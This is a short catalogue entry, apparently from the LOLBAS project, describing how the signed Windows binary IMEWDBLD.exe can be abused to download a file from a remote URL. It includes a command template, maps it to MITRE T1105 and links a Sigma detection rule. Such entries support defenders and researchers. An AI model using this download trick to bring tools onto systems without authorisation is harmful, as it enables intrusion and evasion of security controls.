IMEWDBLD.exe

IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.

Use Download file from Internet

C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/network_connection/net_connection_win_imewdbld.yml

Refs

twitter.com/notwhickey/status/1367493406835040265

lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/